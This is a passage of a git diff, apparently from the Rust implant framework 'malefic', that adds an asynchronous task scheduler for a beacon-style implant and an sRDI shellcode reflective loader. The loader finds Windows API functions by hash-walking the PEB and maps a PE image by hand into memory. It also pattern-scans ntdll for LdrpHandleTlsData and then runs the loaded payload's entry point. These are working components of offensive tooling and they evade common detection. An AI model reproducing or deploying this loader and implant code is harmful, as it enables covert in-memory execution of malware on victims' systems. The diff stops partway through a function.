Delay::new(Duration::from_nanos(1)).await; + } + } + + async fn handle_task( + &mut self, + _is_async: bool, + id: u32, + module: Box, + body: Body, + ) { + let (task_data_sender, mut task_data_receiver) = mpsc::unbounded(); + let mut async_sender = self.data_sender.clone(); + let mut end_sender = self.get_task_ctrl_sender().clone(); + + let handle = spawn(async move { + let (mut body_sender, mut body_receiver) = mpsc::unbounded(); + let (mut result_sender, mut result_receiver) = mpsc::unbounded::(); + + let task = Arc::new(Mutex::new(Task::new(id))); + let task_output = task.clone(); + let output_stream = spawn(async move { + while let Some(result) = result_receiver.next().await { + if let Ok(mut task) = task_output.lock() { + task.send_count += 1; + task.update_last(); + } + send_spite_chunked(&mut async_sender, result.to_spite()).await; + } + }); + + let input_stream = spawn(async move { + let _ = body_sender.send(body).await; + while let Some(body) = task_data_receiver.next().await { + let _ = body_sender.send(body).await; + } + }); + + let task_handle = Task::run(id, module, &mut body_receiver, &mut result_sender); + + select! { + _ = input_stream.fuse() => { + debug!("[task] input_stream finished"); + } + data = task_handle.fuse() => { + debug!("[task] task_handle finished"); + match data { + Ok(result) => { + let _ = result_sender.send(result).await; + }, + Err(e) => { + debug!("[task] {} error, {:#?}", id, e); + let _ = result_sender.send(TaskResult::new_with_error(id, e.into())).await; + } + } + } + } + drop(result_sender); + let _ = output_stream.await; + let _ = end_sender.send((0, TaskOperator::FinishTask(id))).await; + debug!("[task] ending!"); + }); + + let task = Arc::new(Mutex::new(Task::new(id))); + self.manager.tasks.insert( + id, + TaskHandle { + task, + handle: Arc::new(Mutex::new(Some(handle))), + sender: task_data_sender, + }, + ); + } +} diff --git a/malefic-crates/scheduler/src/task.rs b/malefic-crates/scheduler/src/task.rs new file mode 100644 index 0000000..fac454a --- /dev/null +++ b/malefic-crates/scheduler/src/task.rs @@ -0,0 +1,133 @@ +use malefic_common::debug; +use malefic_proto::proto::implantpb::spite::Body; +use malefic_proto::proto::implantpb::Spite; +use malefic_proto::proto::modulepb; +use malefic_proto::{new_empty_spite, new_spite}; +use std::collections::HashMap; +use std::sync::{Arc, Mutex}; + +use crate::TaskOperator; +use futures::channel::mpsc::UnboundedSender; +use malefic_common::{errors::MaleficError, CancellableHandle, RuntimeHandle}; +use malefic_module::{Input, MaleficModule, Output, TaskResult}; + +pub struct TaskHandle { + pub(crate) task: Arc>, + pub(crate) handle: RuntimeHandle, + pub(crate) sender: UnboundedSender, +} + +pub struct TaskManager { + pub(crate) tasks: HashMap, +} + +impl TaskManager { + pub(crate) fn new() -> TaskManager { + TaskManager { + tasks: HashMap::new(), + } + } + + pub(crate) async fn do_operator( + &mut self, + tid: u32, + op: TaskOperator, + ) -> Result, MaleficError> { + match op { + TaskOperator::CancelTask(id) => { + if let Some(task_handle) = self.tasks.remove(&id) { + task_handle.handle.cancel(); + Ok(Some(new_empty_spite(tid, "cancel_task".to_string()))) + } else { + Err(MaleficError::TaskNotFound) + } + } + TaskOperator::QueryTask(id) => { + if let Some(task_handle) = self.tasks.get(&id) { + if let Ok(task) = task_handle.task.lock() { + let task_info = modulepb::TaskInfo { + task_id: id, + last: task.last, + recv_count: task.recv_count, + send_count: task.send_count, + }; + Ok(Some(new_spite( + tid, + "query_task".to_string(), + Body::TaskInfo(task_info), + ))) + } else { + Err(MaleficError::TaskNotFound) + } + } else { + Err(MaleficError::TaskNotFound) + } + } + TaskOperator::FinishTask(id) => { + self.tasks.remove(&id); + Ok(None) + } + TaskOperator::ListTask => { + let tasks = self + .tasks + .iter() + .filter_map(|(id, task_handle)| { + if let Ok(task) = task_handle.task.lock() { + Some(modulepb::TaskInfo { + task_id: *id, + last: task.last, + recv_count: task.recv_count, + send_count: task.send_count, + }) + } else { + None + } + }) + .collect(); + Ok(Some(new_spite( + tid, + "list_task".to_string(), + Body::TaskList(modulepb::TaskListResponse { tasks }), + ))) + } + } + } +} + +pub struct Task { + _id: u32, + last: u64, + pub(crate) recv_count: u32, + pub(crate) send_count: u32, +} + +impl Task { + pub(crate) fn new(id: u32) -> Self { + Task { + _id: id, + last: std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap() + .as_secs(), + recv_count: 0, + send_count: 0, + } + } + + pub(crate) fn update_last(&mut self) { + self.last = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap() + .as_secs(); + } + + pub(crate) async fn run( + id: u32, + mut module: Box, + recv_channel: &mut Input, + send_channel: &mut Output, + ) -> anyhow::Result { + debug!("[task] start task {}", id); + module.run(id, recv_channel, send_channel).await + } +} diff --git a/malefic-crates/srdi/Cargo.toml b/malefic-crates/srdi/Cargo.toml new file mode 100644 index 0000000..b8b25bf --- /dev/null +++ b/malefic-crates/srdi/Cargo.toml @@ -0,0 +1,47 @@ +[package] +name = "malefic-srdi" +version = "0.1.0" +edition = "2021" + +[lib] +crate-type = ["rlib"] + +# Standalone shellcode binary — only build with: +# cargo +nightly build -p malefic-srdi --bin malefic-srdi -Zbuild-std=core --target x86_64-pc-windows-msvc +[[bin]] +name = "malefic-srdi" +path = "src/main.rs" +required-features = ["standalone"] + +[features] +default = [] +standalone = [] + +[dependencies.winapi] +version = "0.3.9" +features = [ + "winuser", + "fileapi", + "handleapi", + "winbase", +] + +[dependencies.windows-sys] +version = "0.59.0" +features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_System_Threading", + "Win32_System_Memory", + "Win32_System_Diagnostics_Debug", + "Win32_System_SystemServices", + "Win32_System_WindowsProgramming", + "Win32_System_SystemInformation", + "Win32_System_Environment", + "Win32_System_ProcessStatus", + "Win32_System_LibraryLoader", + "Win32_Globalization", + "Win32_System_Diagnostics_ToolHelp", + "Win32_System_Kernel", + "Wdk_System_SystemServices", +] diff --git a/malefic-crates/srdi/src/lib.rs b/malefic-crates/srdi/src/lib.rs new file mode 100644 index 0000000..45f1e46 --- /dev/null +++ b/malefic-crates/srdi/src/lib.rs @@ -0,0 +1,15 @@ +#![allow(dead_code)] +#![allow(non_snake_case)] +#![allow(non_camel_case_types)] +#![allow(non_upper_case_globals)] +#![allow(overflowing_literals)] +#![allow(invalid_value)] +#![feature(naked_functions)] +#![no_std] + +#[macro_use] +pub mod utils; + +pub mod types; + +pub mod loader; diff --git a/malefic-crates/srdi/src/loader.rs b/malefic-crates/srdi/src/loader.rs new file mode 100644 index 0000000..e02f1ee --- /dev/null +++ b/malefic-crates/srdi/src/loader.rs @@ -0,0 +1,1119 @@ +use core::{ + arch::asm, + ffi::c_void, + mem::{size_of, transmute}, + ptr::{null, read_unaligned}, +}; + +use crate::{ + types::{ + BuildThreshold, DllMain, GetProcAddress, LdrpHandleTlsData, LoadLibraryA, + NtFlushInstructionCache, RtlAddFunctionTable, RtlGetVersion, VerShort, VirtualAlloc, + VirtualProtect, WinVer, BASE_RELOCATION_BLOCK, BASE_RELOCATION_ENTRY, DLL_BEACON_USER_DATA, + IMAGE_ORDINAL, IMAGE_RUNTIME_FUNCTION_ENTRY, OSVERSIONINFOEXW, WIN32_WIN_NT_WIN10, + WIN32_WIN_NT_WIN7, WIN32_WIN_NT_WIN8, WIN32_WIN_NT_WINBLUE, WIN32_WIN_NT_WINXP, + }, + utils::{srdi_memcmp, IsWindows1020H1OrGreater}, +}; + +use crate::utils::{ + boyer_moore, dbj2_str_hash, get_cstr_len, pointer_add, pointer_sub, srdi_memcpy, srdi_memset, + IsWindows1019H1OrGreater, IsWindows10RS2OrGreater, IsWindows10RS3OrGreater, + IsWindows10RS4OrGreater, IsWindows10RS5OrGreater, IsWindows11BetaOrGreater, + IsWindows7OrGreater, IsWindows8OrGreater, IsWindows8Point1OrGreater, +}; +use winapi::um::winnt::{ + IMAGE_BASE_RELOCATION, IMAGE_DELAYLOAD_DESCRIPTOR, IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, + IMAGE_EXPORT_DIRECTORY, IMAGE_IMPORT_BY_NAME, IMAGE_IMPORT_DESCRIPTOR, IMAGE_NT_SIGNATURE, + IMAGE_ORDINAL_FLAG, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE, + IMAGE_SECTION_HEADER, IMAGE_THUNK_DATA, IMAGE_TLS_DIRECTORY, MEM_COMMIT, MEM_RESERVE, + PAGE_EXECUTE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_EXECUTE_WRITECOPY, PAGE_READONLY, + PAGE_READWRITE, PAGE_WRITECOPY, +}; +use windows_sys::Win32::System::{ + Threading::{PEB, PEB_LDR_DATA}, + WindowsProgramming::LDR_DATA_TABLE_ENTRY, +}; + +#[cfg(not(test))] +#[panic_handler] +fn panic(_info: &core::panic::PanicInfo) -> ! { + loop {} +} + +pub type Main = extern "system" fn(); + +pub unsafe fn loader( + module_base: *const c_void, + entry_func: *const c_void, + user_data: *const core::ffi::c_void, + user_data_len: usize, +) { + let dos_headers = module_base as *mut IMAGE_DOS_HEADER; + if (*dos_headers).e_magic.ne(&IMAGE_DOS_SIGNATURE) { + return; + } + + let nt_header = get_nt_header!(module_base); + if (*nt_header).Signature.ne(&IMAGE_NT_SIGNATURE) { + return; + } + let option_header = &(*nt_header).OptionalHeader; + let file_header = &(*nt_header).FileHeader; + + let section_header = pointer_add( + option_header as _, + file_header.SizeOfOptionalHeader as usize, + ) as *const IMAGE_SECTION_HEADER; + + let kernel32 = get_module_base_by_hash(0x6ddb9555); + let ntdll = get_module_base_by_hash(0x1edab0ed); + if kernel32.is_null() || ntdll.is_null() { + return; + } + + let load_library_a = get_export_by_hash(kernel32, 0xb7072fdb); + let get_proc_address = get_export_by_hash(kernel32, 0xdecfc1bf); + let virtual_alloc = get_export_by_hash(kernel32, 0x97bc257); + let virtual_protect = get_export_by_hash(kernel32, 0xe857500d); + let nt_flush_instruction_cache = get_export_by_hash(ntdll, 0x6269b87f); + let rtl_get_version = get_export_by_hash(ntdll, 0xdde5cdd); + + if load_library_a.is_null() + || get_proc_address.is_null() + || virtual_alloc.is_null() + || virtual_protect.is_null() + || nt_flush_instruction_cache.is_null() + || rtl_get_version.is_null() + { + return; + } + + let load_library_a: LoadLibraryA = transmute(load_library_a); + let get_proc_address: GetProcAddress = transmute(get_proc_address); + let virtual_alloc: VirtualAlloc = transmute(virtual_alloc); + let virtual_protect: VirtualProtect = transmute(virtual_protect); + + let nt_flush_instruction_cache: NtFlushInstructionCache = transmute(nt_flush_instruction_cache); + let mut rebase_offset = 0; + + let mut virtual_base_address = virtual_alloc( + option_header.ImageBase as _, + option_header.SizeOfImage as _, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE, + ); + + if virtual_base_address.is_null() { + virtual_base_address = virtual_alloc( + 0 as *mut c_void, + option_header.SizeOfImage as _, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE, + ); + if virtual_base_address.is_null() { + return; + } + rebase_offset = virtual_base_address as usize - option_header.ImageBase as usize; + } + + srdi_memcpy( + virtual_base_address as _, + module_base as _, + option_header.SizeOfHeaders as _, + ); + let mut section_header = section_header; + + for _ in 0..file_header.NumberOfSections { + let mut _old_protection = 0; + let section_addr = pointer_add(virtual_base_address, (*section_header).VirtualAddress as _); + let section_data = pointer_add(module_base, (*section_header).PointerToRawData as _); + srdi_memcpy( + section_addr as _, + section_data as _, + (*section_header).SizeOfRawData as _, + ); + + section_header = section_header.offset(1); + } + + let relocations = &option_header.DataDirectory[5]; + + if rebase_offset.ne(&0) && relocations.Size.ne(&0) { + let block_size = size_of::(); + let entry_size = size_of::(); + let mut reloc_block = pointer_add(virtual_base_address, relocations.VirtualAddress as _) + as *mut IMAGE_BASE_RELOCATION; + + while (*reloc_block).VirtualAddress.ne(&0) { + let relocation_count = + ((*reloc_block).SizeOfBlock - block_size as u32) / entry_size as u32; + let relocation_entry = + pointer_add(reloc_block, block_size) as *const BASE_RELOCATION_ENTRY; + + for i in 0..relocation_count { + let entry = relocation_entry.offset(i as _); + if (*entry).type_().eq(&0) { + continue; + } + let rva = (*reloc_block).VirtualAddress as usize + (*entry).offset_() as usize; + let dest = pointer_add(virtual_base_address, rva as _); + *(dest as *mut usize) = *(dest as *mut usize) + rebase_offset as usize; + } + reloc_block = pointer_add(reloc_block as _, (*reloc_block).SizeOfBlock as _) + as *mut IMAGE_BASE_RELOCATION; + } + } + + let imports = &option_header.DataDirectory[1]; + let mut import_descriptor_ptr = + pointer_add(virtual_base_address, imports.VirtualAddress as usize) + as *const IMAGE_IMPORT_DESCRIPTOR; + + while (*import_descriptor_ptr).Name.ne(&0) { + let lib_name = pointer_add(virtual_base_address, (*import_descriptor_ptr).Name as _); + let lib = load_library_a(lib_name as *mut i8); + + let mut ori_thunk_ptr; + if (*import_descriptor_ptr).u.OriginalFirstThunk().ne(&0) { + ori_thunk_ptr = pointer_add( + virtual_base_address, + *(*import_descriptor_ptr).u.OriginalFirstThunk() as usize, + ) as *mut IMAGE_THUNK_DATA; + } else { + ori_thunk_ptr = pointer_add( + virtual_base_address, + (*import_descriptor_ptr).FirstThunk as _, + ) as *mut IMAGE_THUNK_DATA; + }; + + let mut thunk_ptr = pointer_add( + virtual_base_address, + (*import_descriptor_ptr).FirstThunk as _, + ) as *mut IMAGE_THUNK_DATA; + + while (*ori_thunk_ptr).u1.Function().ne(&0) { + let ordinal = (*ori_thunk_ptr).u1.Ordinal(); + if IMAGE_SNAP_BY_ORDINAL(ordinal) { + let ordinal = IMAGE_ORDINAL_FUNC(ordinal); + *(*thunk_ptr).u1.Function_mut() = get_proc_address(lib, (ordinal) as *mut _) as _; + } else { + let name_ptr = pointer_add( + virtual_base_address, + *(*ori_thunk_ptr).u1.AddressOfData() as _, + ) as *mut IMAGE_IMPORT_BY_NAME; + *(*thunk_ptr).u1.Function_mut() = + get_proc_address(lib, &(*name_ptr).Name[0] as *const _ as *mut _) as _; + } + thunk_ptr = thunk_ptr.offset(1); + ori_thunk_ptr = ori_thunk_ptr.offset(1); + } + + import_descriptor_ptr = import_descriptor_ptr.offset(1); + } + + let delay_import_dir = &option_header.DataDirectory[13]; + let mut delay_import_ptr = + pointer_add(virtual_base_address, delay_import_dir.VirtualAddress as _) + as *mut IMAGE_DELAYLOAD_DESCRIPTOR; + + if delay_import_dir.Size.gt(&0) { + while (*delay_import_ptr).DllNameRVA.ne(&0) { + let lib_name = pointer_add(virtual_base_address, (*delay_import_ptr).DllNameRVA as _); + let lib = load_library_a(lib_name as _); + + let mut orig_thunk = pointer_add( + virtual_base_address, + (*delay_import_ptr).ImportNameTableRVA as _, + ) as *mut IMAGE_THUNK_DATA; + let mut thunk = pointer_add( + virtual_base_address, + (*delay_import_ptr).ImportAddressTableRVA as _, + ) as *mut IMAGE_THUNK_DATA; + + while (*orig_thunk).u1.Function().ne(&0) { + if IMAGE_SNAP_BY_ORDINAL((*orig_thunk).u1.Ordinal() as _) { + let func_ordinal = IMAGE_ORDINAL_FUNC((*orig_thunk).u1.Ordinal() as _); + *(*thunk).u1.Function_mut() = get_proc_address(lib, func_ordinal as _) as _; + } else { + let func_name = + pointer_add(virtual_base_address, *(*orig_thunk).u1.AddressOfData() as _) + as *mut IMAGE_IMPORT_BY_NAME; + *(*thunk).u1.Function_mut() = + get_proc_address(lib, &(*func_name).Name[0] as *const _ as *mut _) as _; + } + + thunk = thunk.offset(1); + orig_thunk = orig_thunk.offset(1); + } + + delay_import_ptr = delay_import_ptr.offset(1); + } + } + + let mut section_header = pointer_add( + &(*nt_header).OptionalHeader as _, + file_header.SizeOfOptionalHeader as _, + ) as *const IMAGE_SECTION_HEADER; + + for _ in 0..file_header.NumberOfSections { + let mut _old_protection = 0; + let section_addr = pointer_add(virtual_base_address, (*section_header).VirtualAddress as _); + + let protection = match ( + ((*section_header).Characteristics & IMAGE_SCN_MEM_EXECUTE).ne(&0), + ((*section_header).Characteristics & IMAGE_SCN_MEM_WRITE).ne(&0), + ((*section_header).Characteristics & IMAGE_SCN_MEM_READ).ne(&0), + ) { + (true, true, true) => PAGE_EXECUTE_READWRITE, + (true, true, false) => PAGE_EXECUTE_WRITECOPY, + (true, false, true) => PAGE_EXECUTE_READ, + (true, false, false) => PAGE_EXECUTE, + (false, true, true) => PAGE_READWRITE, + (false, true, false) => PAGE_WRITECOPY, + (false, false, true) => PAGE_READONLY, + _ => 0, + }; + + virtual_protect( + section_addr, + (*section_header).SizeOfRawData as _, + protection, + &mut _old_protection, + ); + section_header = section_header.offset(1); + } + + let _ = nt_flush_instruction_cache(-1 as _, null(), 0); + let win_ver = get_win_ver(rtl_get_version); + LdrpHandleTlsData(ntdll, virtual_base_address, &win_ver); + + let tls_data = &option_header.DataDirectory[9]; + if tls_data.Size.gt(&0) { + let tls_dir_ptr = pointer_add(virtual_base_address, tls_data.VirtualAddress as _) + as *mut IMAGE_TLS_DIRECTORY; + let mut callback_ptr = (*tls_dir_ptr).AddressOfCallBacks as *const *const c_void; + + while !(*callback_ptr).is_null() { + transmute::<*const c_void, DllMain>(*callback_ptr)( + virtual_base_address as _, + 1, + 0 as _, + ); + callback_ptr = callback_ptr.offset(1); + } + } + + #[cfg(target_arch = "x86_64")] + { + let rtl_add_function_table = get_export_by_hash(kernel32, 0x81a887ce); + if rtl_add_function_table.is_null() { + return; + } + let rtl_add_function_table: RtlAddFunctionTable = transmute(rtl_add_function_table); + let exception_dir = &option_header.DataDirectory[3]; + if exception_dir.Size.gt(&0) { + let rf_entry = pointer_add(virtual_base_address, tls_data.VirtualAddress as usize) + as *mut IMAGE_RUNTIME_FUNCTION_ENTRY; + let _ = rtl_add_function_table( + rf_entry, + (exception_dir.Size / size_of::() as u32) - 1, + virtual_base_address as _, + ); + } + } + + let entrypoint = pointer_add(virtual_base_address, option_header.AddressOfEntryPoint as _); + let user_data_ptr = virtual_alloc( + 0 as _, + user_data_len, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE, + ); + srdi_memcpy(user_data_ptr as _, user_data as _, user_data_len); + if entry_func.is_null() { + // EXE maybe + transmute::(entrypoint as _)(0 as _, 1, 0 as _); + return; + } + transmute::(entrypoint as _)(0 as _, DLL_BEACON_USER_DATA, user_data_ptr as _); + let entry_func = pointer_add(virtual_base_address, entry_func as _); + transmute::<*const core::ffi::c_void, Main>(entry_func); +} + +#[used] +#[no_mangle] +pub static _fltused: i32 = 0; + +#[inline] +#[cfg(target_arch = "x86_64")] +fn IMAGE_SNAP_BY_ORDINAL(ordinal: &u64) -> bool { + (ordinal & IMAGE_ORDINAL_FLAG) != 0 +} + +#[inline] +#[cfg(target_arch = "x86_64")] +fn IMAGE_ORDINAL_FUNC(odrinal: &u64) -> usize { + (odrinal & (IMAGE_ORDINAL as u64)) as _ +} + +#[inline] +#[cfg(target_arch = "x86")] +fn IMAGE_SNAP_BY_ORDINAL(ordinal: &u32) -> bool { + (ordinal & IMAGE_ORDINAL_FLAG) != 0 +} + +#[inline] +#[cfg(target_arch = "x86")] +fn IMAGE_ORDINAL_FUNC(odrinal: &u32) -> usize { + (odrinal & (IMAGE_ORDINAL as u32)) as _ +} + +#[inline] +fn get_peb() -> usize { + let ax: usize; + #[cfg(target_arch = "x86_64")] + { + unsafe { + asm!( + "mov {}, qword ptr gs:[0x60]", + lateout(reg) ax, + options(nostack, pure, readonly), + ); + } + } + #[cfg(target_arch = "x86")] + { + let eax: u32; + unsafe { + asm!( + "mov {}, dword ptr fs:[0x30]", + out(reg) eax, + options(nostack, pure, readonly), + ); + } + ax = eax as _; + return ax; + } + ax +} + +#[no_mangle] +unsafe fn memset(dst: *mut c_void, val: u8, len: usize) { + srdi_memset(dst as _, val, len); +} + +unsafe fn get_win_ver(rtl_get_version: *const core::ffi::c_void) -> WinVer { + let mut native: OSVERSIONINFOEXW = core::mem::zeroed(); + transmute::<*const c_void, RtlGetVersion>(rtl_get_version)(&mut native as *mut _ as _); + let fullver = native.dwMajorVersion << 8 | native.dwMinorVersion; + let ver = match fullver { + WIN32_WIN_NT_WIN10 => { + if native + .dwBuildNumber + .ge(&(BuildThreshold::BUILD_Win11Beta as _)) + { + VerShort::WIN11_Beta + } else if native.dwBuildNumber.ge(&(BuildThreshold::BUILD_20_H1 as _)) { + VerShort::WIN10_20H1 + } else if native.dwBuildNumber.ge(&(BuildThreshold::BUILD_19_H2 as _)) { + VerShort::WIN10_19H2 + } else if native.dwBuildNumber.ge(&(BuildThreshold::BUILD_19_H1 as _)) { + VerShort::WIN10_19H1 + } else if native.dwBuildNumber.ge(&(BuildThreshold::BUILD_RS5 as _)) { + VerShort::WIN10_RS6 + } else if native.dwBuildNumber.ge(&(BuildThreshold::BUILD_RS4 as _)) { + VerShort::WIN10_RS5 + } else if native.dwBuildNumber.ge(&(BuildThreshold::BUILD_RS3 as _)) { + VerShort::WIN10_RS4 + } else if native.dwBuildNumber.ge(&(BuildThreshold::BUILD_RS2 as _)) { + VerShort::WIN10_RS3 + } else if native.dwBuildNumber.ge(&(BuildThreshold::BUILD_RS1 as _)) { + VerShort::WIN10_RS2 + } else if native.dwBuildNumber.ge(&(BuildThreshold::BUILD_RS0 as _)) { + VerShort::WIN10_RS1 + } else { + VerShort::WIN10 + } + } + WIN32_WIN_NT_WINBLUE => VerShort::WIN8_POINT1, + WIN32_WIN_NT_WIN8 => VerShort::WIN8, + WIN32_WIN_NT_WIN7 => VerShort::WIN7, + WIN32_WIN_NT_WINXP => VerShort::WIN_XP, + _ => VerShort::WIN_UNSUPPORTED, + }; + WinVer { + ver, + rversion: native.dwBuildNumber, + native, + } +} + +unsafe fn get_module_base_by_hash(module_hash: u32) -> *const c_void { + let peb = get_peb() as *mut PEB; + let peb_ldr_data_ptr = (*peb).Ldr as *mut PEB_LDR_DATA; + let mut module_list = + (*peb_ldr_data_ptr).InMemoryOrderModuleList.Flink as *mut LDR_DATA_TABLE_ENTRY; + let last_entry = (*peb_ldr_data_ptr).InMemoryOrderModuleList.Blink as *mut LDR_DATA_TABLE_ENTRY; + let mut module = read_unaligned(module_list); + + while !module.DllBase.is_null() { + let dll_buffer_ptr = module.FullDllName.Buffer; + let dll_length = module.FullDllName.Length as usize; + let dll_name_slice = core::slice::from_raw_parts(dll_buffer_ptr as *const u8, dll_length); + + if module_hash == dbj2_str_hash(dll_name_slice) { + return module.Reserved2[0] as _; + } + if module_list == last_entry { + break; + } + module_list = module.Reserved1[0] as *mut LDR_DATA_TABLE_ENTRY; + + module = read_unaligned(module_list); + } + + null() +} + +unsafe fn get_export_by_hash(module_base: *const c_void, func_hash: u32) -> *const c_void { + let nt_headers = get_nt_header!(module_base); + let export_dir = &(*nt_headers).OptionalHeader.DataDirectory[0]; + let export_dir_ptr = pointer_add(module_base, export_dir.VirtualAddress as usize) + as *const IMAGE_EXPORT_DIRECTORY; + if export_dir_ptr.is_null() { + return null(); + } + let export_dir = read_unaligned(export_dir_ptr); + let func_rva = pointer_add(module_base, export_dir.AddressOfFunctions as usize) as *const u32; + let func_name_rva = pointer_add(module_base, export_dir.AddressOfNames as usize) as *const u32; + let func_ord_rva = + pointer_add(module_base, export_dir.AddressOfNameOrdinals as usize) as *const u16; + + for i in 0..(export_dir.NumberOfFunctions as isize) { + let func_name = pointer_add( + module_base, + read_unaligned(func_name_rva.offset(i)) as usize, + ) as *const u8; + let hsah = dbj2_str_hash(core::slice::from_raw_parts( + func_name, + get_cstr_len(func_name), + )); + if hsah.eq(&func_hash) { + let func_ord = read_unaligned(func_ord_rva.offset(i)) as isize; + return pointer_add( + module_base, + read_unaligned(func_rva.offset(func_ord)) as usize, + ) as _; + } + } + + null() +} + +#[no_mangle] +unsafe fn get_section_range( + module_base: *const c_void, + section_name: &[u8], +) -> (*const c_void, usize) { + let dos_headers = module_base as *mut IMAGE_DOS_HEADER; + if (*dos_headers).e_magic.ne(&IMAGE_DOS_SIGNATURE) { + return (null(), 0); + } + + let nt_headers = get_nt_header!(module_base); + if (*nt_headers).Signature.ne(&IMAGE_NT_SIGNATURE) { + return (null(), 0); + } + + let file_header = &(*nt_headers).FileHeader; + let option_header = &(*nt_headers).OptionalHeader; + let mut section_header = pointer_add( + option_header as _, + file_header.SizeOfOptionalHeader as usize, + ) as *const IMAGE_SECTION_HEADER; + + let section_name = core::str::from_utf8_unchecked(section_name); + for _ in 0..file_header.NumberOfSections { + let section = section_header; + let name = core::str::from_utf8_unchecked(&(*section).Name); + if name.contains(section_name) { + let section_addr = pointer_add(module_base, (*section).VirtualAddress as usize); + return (section_addr, *(*section).Misc.VirtualSize() as usize); + } + section_header = section_header.offset(1); + } + + (null(), 0) +} + +#[no_mangle] +unsafe fn LdrpHandleTlsData(ntdll: *const c_void, hmodule: *mut c_void, win_ver: &WinVer) -> i32 { + let ldrp_handle_tls = search_ldrp_handle_tls(ntdll, win_ver); + if ldrp_handle_tls.is_null() { + return 0; + } + let mut ldr_data_table_entry: LDR_DATA_TABLE_ENTRY = + core::mem::MaybeUninit::uninit().assume_init(); + srdi_memset( + &mut ldr_data_table_entry as *mut _ as _, + 0, + core::mem::size_of::(), + ); + ldr_data_table_entry.DllBase = hmodule; + if IsWindows8Point1OrGreater(win_ver) { + transmute::<*const c_void, crate::types::LdrpHandleTlsDataWin8Point1OrGreater>( + ldrp_handle_tls, + )(&mut ldr_data_table_entry as *mut _ as _) + } else { + transmute::<*const c_void, crate::types::LdrpHandleTlsDataOther>(ldrp_handle_tls)( + &mut ldr_data_table_entry as *mut _ as _, + ) + } + // #[cfg(target_arch = "x86_64")] + // { + // transmute::<*const c_void, crate::types::LdrpHandleTlsData>(ldrp_handle_tls)( + // &mut ldr_data_table_entry as *mut _ as _ + // ) + // } + // #[cfg(target_arch = "x86")] + // { + // if IsWindows8Point1OrGreater(win_ver) { + // transmute::<*const c_void, crate::types::LdrpHandleTlsDataWin8Point1OrGreater>(ldrp_handle_tls)( + // &mut ldr_data_table_entry as *mut _ as _ + // ) + // } else { + // transmute::<*const c_void, crate::types::LdrpHandleTlsDataOther>(ldrp_handle_tls)( + // &mut ldr_data_table_entry as *mut _ as _ + // ) + // } + // } +} + +#[no_mangle] +unsafe fn search_ldrp_handle_tls(module_base: *const c_void, win_ver: &WinVer) -> *const c_void { + if module_base.is_null() { + return null(); + } + if IsWindows11BetaOrGreater(win_ver) { + return find_ldrp_handle_tls_greator_win11(module_base) as _; + } + let handle = get_ldrp_handle_tls_offset_data(win_ver); + if handle.offset.eq(&0) { + return null(); + } + let (section, size) = get_text_range(module_base); + if section.is_null() || size.eq(&0) { + return null(); + } + let offset = boyer_moore(section as _, size, &handle.pattern, handle.real_len); + if offset.eq(&-1) { + return null(); + } + let addr = (offset as usize + section as usize) as *const core::ffi::c_void; + return check_real_start(pointer_sub(addr, handle.offset)); +} + +#[no_mangle] +unsafe fn check_real_start(call_addr: *const c_void) -> *const c_void { + let mut real_start = call_addr as *const u8; + loop { + let data = read_unaligned(real_start); + if data.ne(&0xcc) && data.ne(&0x90) { + break; + } + real_start = real_start.add(1); + } + real_start as _ +} + +#[no_mangle] +pub unsafe fn find_ldrp_handle_tls_greator_win11(ntdll: *const c_void) -> usize { + loop { + let str_pattern: [u8; 18] = [ + 0x4C, 0x64, 0x72, 0x70, 0x49, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, + 0x54, 0x6C, 0x73, 0x00, + ]; + let s_addr; + #[cfg(target_arch = "x86_64")] + { + s_addr = find_string_in_rdata(ntdll, &str_pattern); + } + #[cfg(target_arch = "x86")] + { + s_addr = find_string_in_text(ntdll, &str_pattern); + } + + let xref_addr; + #[cfg(target_arch = "x86_64")] + { + let start_pattern: [u8; 3] = [0x4C, 0x8D, 0x05]; + xref_addr = find_xref_in_text(ntdll, &start_pattern, 7, s_addr as usize); + if xref_addr.eq(&0) { + break; + } + } + #[cfg(target_arch = "x86")] + { + let start_pattern: [u8; 1] = [0x68]; + xref_addr = find_xref_in_text_without_rva(ntdll, &start_pattern, 5, s_addr as usize); + if xref_addr.eq(&0) { + break; + } + } + let xref_addr = xref_addr as usize + ntdll as usize; + let call_code: [u8; 1] = [0xE8]; + let call_drp_log_internal_addr = + boyer_moore(xref_addr as _, 0x30, &call_code, call_code.len()); + if call_drp_log_internal_addr.eq(&-1) { + break; + } + let call_drp_log_internal_addr = call_drp_log_internal_addr as usize + xref_addr as usize; + let call_ldr_allocate_tls_entry = boyer_moore( + (call_drp_log_internal_addr + 5) as _, + 0x30, + &call_code, + call_code.len(), + ); + if call_ldr_allocate_tls_entry.eq(&-1) { + break; + } + let call_ldr_allocate_tls_entry = + call_ldr_allocate_tls_entry as usize + call_drp_log_internal_addr + 5; + + let ldr_allocate_tls_entry = call_ldr_allocate_tls_entry + .wrapping_add(calc_call_rva(call_ldr_allocate_tls_entry as _) as _); + let black_list: [usize; 1] = [call_ldr_allocate_tls_entry]; + let call_ldr_allocate_tls_entry2 = + find_call_rva_in_text(ntdll, ldr_allocate_tls_entry, &black_list); + if call_ldr_allocate_tls_entry2.eq(&0) { + break; + } + + return find_func_start(ntdll, call_ldr_allocate_tls_entry2); + } + 0 +} + +#[cfg(target_arch = "x86_64")] +#[no_mangle] +unsafe fn find_string_in_rdata(module_base: *const c_void, pattern: &[u8]) -> *const c_void { + let rdata_pattern: [u8; 6] = [0x2E, 0x72, 0x64, 0x61, 0x74, 0x61]; + let (rdata, rdata_size) = get_section_range(module_base, &rdata_pattern); + if rdata.is_null() || rdata_size.eq(&0) { + return null(); + } + let rdata = rdata as *const u8; + let addr = boyer_moore(rdata, rdata_size, pattern, pattern.len()); + if addr.eq(&-1) { + return null(); + } + let addr = rdata.offset(addr) as _; + return pointer_sub(addr, module_base as _); +} + +#[cfg(target_arch = "x86")] +#[no_mangle] +unsafe fn find_string_in_text(module_base: *const c_void, pattern: &[u8]) -> *const c_void { + let (text, text_size) = 